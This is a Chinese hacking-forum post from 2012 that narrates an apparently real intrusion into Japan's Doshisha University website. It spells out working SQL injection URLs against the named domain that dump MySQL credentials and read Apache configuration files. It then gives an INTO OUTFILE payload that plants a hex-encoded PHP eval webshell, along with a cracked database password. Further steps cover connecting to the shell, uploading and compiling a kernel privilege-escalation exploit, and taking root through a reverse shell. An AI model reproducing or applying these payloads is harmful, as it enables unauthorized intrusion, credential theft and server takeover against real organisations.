找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2654|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析& W  \. a0 F; t% I4 L6 b* H
7 x9 r( {: X1 x1 F2 k8 b0 @5 H
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
! Z! M! h: F5 Z然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:. h; o0 @5 h% c+ P$ T2 A3 u- h# q

! x, F' \" H/ z; P8 s% D; t$ d4 d+ shttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
# W4 d9 k8 B5 f' o8 W; w
" K! D" E8 N4 R. {# l- I+ ^: V; A - ?: W2 e0 U& A! }( I& {6 {, A
4 I7 h$ s8 \. ?4 `
//@@datadir为数据库文件路径
7 n+ G; `2 m$ @4 g: I ' i2 n& P9 }3 y) \+ Q- B
& k9 H9 Y6 J( _7 g- C3 _; w4 T. s
//load_file读取网站容器apache的配置文件
" Y. f: r& e% N0 M
; y! c/ q) {; F% m0 [. K8 ]) n* V* f& k6 v4 a
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 8 ]& K% C/ ]3 ~
复制代码
! h8 t) F; s, e- `' F7 c' u; l% J% Z* Y7 i; b* Z
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
1 f0 X  _5 m# M
/ O' k. z: @. e/ j- L- e6 R% Z而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。8 R: {( D2 Z  P3 Q8 @" j* l
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
7 S3 |0 ?" A% o' F  C, u! W( @9 Y2 C, P9 B& S
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
3 r) z+ q$ m. }& O如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html& F+ ?! M( z& Z/ U

& I$ j$ y7 c5 O: l# k既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
7 I' @* I( e1 J$ h, }, M& |" n虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
) E0 h/ j1 a; l2 T1 W) Y直接写一句话:  U; @& F' a9 q. C1 t: G# _

, i! X0 k5 y; r) D5 K+ \http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
( U( b$ @% M* u- r. E" G8 h, a* m3 j2 W! `6 i1 j( w
+ ]; q, e& M0 j! v$ a3 u6 F( \
  N, O) K, n6 J$ _5 V
//最后的#是为了闭合前面的语句 : I0 V/ S4 u9 L0 H; ?% H
" }: @3 F) k$ _* X1 E9 K  l/ r

/ t# W# O4 S: q) W; n/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
. ^8 b8 q7 ~1 F4 J0 x" J$ p; J 7 _- {4 L& P- ^" i: y, w9 D  c

" Y9 @; d) y6 ?3 i5 a+ ]为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
3 E% m9 h* e/ Z" z: M0 ?
! H9 p; c8 D  s9 ]# z8 o- s! x+ Q, Q' F4 ^, ]' ~
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
1 c0 `9 d* J. R9 ?! M$ H
" D8 b3 P. ]; h8 h4 @, ~5 \' e0 X, Z9 q8 z& G7 Z
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
0 d2 Q* T  G# I; {1 S//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
% Q, m0 A; }% j复制代码
: G% z7 W6 f3 T0 l1 x
6 ~5 k" `( Z+ q! ^HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
$ S# L, r+ U; `; g: Z, n1 K通过上述注入语句,我们就得到了一句话木马:
! M) u9 R% j7 P( h/ O' J. |
9 @2 h* N. }4 w; z8 z. @3 L' N, x
& J4 O) m2 i9 S$ b8 X. |. m* K9 {' k- b; y. G5 n
7 d7 m6 e: V# l& q( b% W& U
4 C& P& O# ]1 e( X: }# s
http://www.doshisha.ac.jp/english/engnews_img/aa.php 9 @2 E8 E2 a) c
复制代码
& \: c  U. e+ z
+ B: \5 h$ ^2 r5 u5 |- }用菜刀连接,密码是cmd,如图所示:: L* ]/ q4 y& h8 U
然后在命令提示行里看了一下,现在的权限是:& P! a) c  f5 m9 q; I4 ]

. d* z0 p2 L1 F, `. q' K0 ~) m之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
+ V  l8 X2 [; s1 s8 p4 T好在赋权给这个文件夹不需要root,直接执行赋权语句:
+ ^8 m8 y. @4 R1 v2 y
7 r4 r; C2 X8 E ( m2 p( M6 m4 M2 {$ i5 D0 v  j( g
1 p0 e* ]: e9 u: q

3 }1 F1 r) c  H" N% A5 A
7 _8 e" d  p6 G8 d- @0 lchmod +x /tmp/ 9 }" u' Y$ K  o4 f2 C
复制代码
9 A( Q" V4 c: U3 Q' x5 L% k; `
9 |& A9 W1 F; G  D在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
" \( j+ q( }% V/ x7 E9 s) `然后就查了一下内核版本:0 N" I% T# I/ M" v9 H; M- T! U6 L

" \/ w, Z7 i9 O' I) [" S. y8 _
, E1 x) j) c. B% c. M  r4 o# J- G) C7 Z; S$ q

/ i- v( T& D  {% Q0 {7 p: D% g9 x( }; e) P
uname-a ! o1 C: g, U' P4 ^- ]9 A
/ ?4 _. m) R0 F0 X" h( ]. u/ {5 m
. g+ j9 K( P) Q9 O
//其实lsb_release -a
8 E5 K' _& d1 I( P复制代码: [  Z# {% R: y" V- v9 G9 O7 B
% I2 r1 S/ n1 y
如图所示:1 L2 r: _+ ]  l. E$ [- t( m9 G$ S/ R

) ?, o; m# j; ?内核版本:linux mainz1 2.6.28-194.e15
& O4 K9 j) Y) }/ k系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)7 b" _  h' F$ i' a9 g; r
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
0 D4 Z* [9 y& h' y0 Y: S2 M( y; i. X) p* S4 L
然后给予执行权限" }0 A& w" [  r7 J
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样0 @& ~9 q3 c, j2 w/ j* |
" _. q0 }  }6 a) o# m
  G" b: x; w& ]. H' W/ }" f. N

' B9 S8 {( w$ |. m3 A4 ~
' H9 R8 y/ p' ^0 h7 ]/ G3 B
2 V# e$ i6 E8 schmod +x /tmp/2.6.18-194 $ c( `; f7 i1 i- i& S. X' @' U
复制代码 然后直接执行!~, ~) q! h* Y1 D6 q1 G% F! d; t

7 j" a+ }* I% B  A+ \% E8 Y! A( g总结:
; ?6 `# \, B" |& ]- \/ O) o' x这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了5 Z, {0 z: W& _* a* ~0 s
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
5 H5 p5 u, H- q8 q- k6 Y9 @
( c) J. i" D% p( w
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表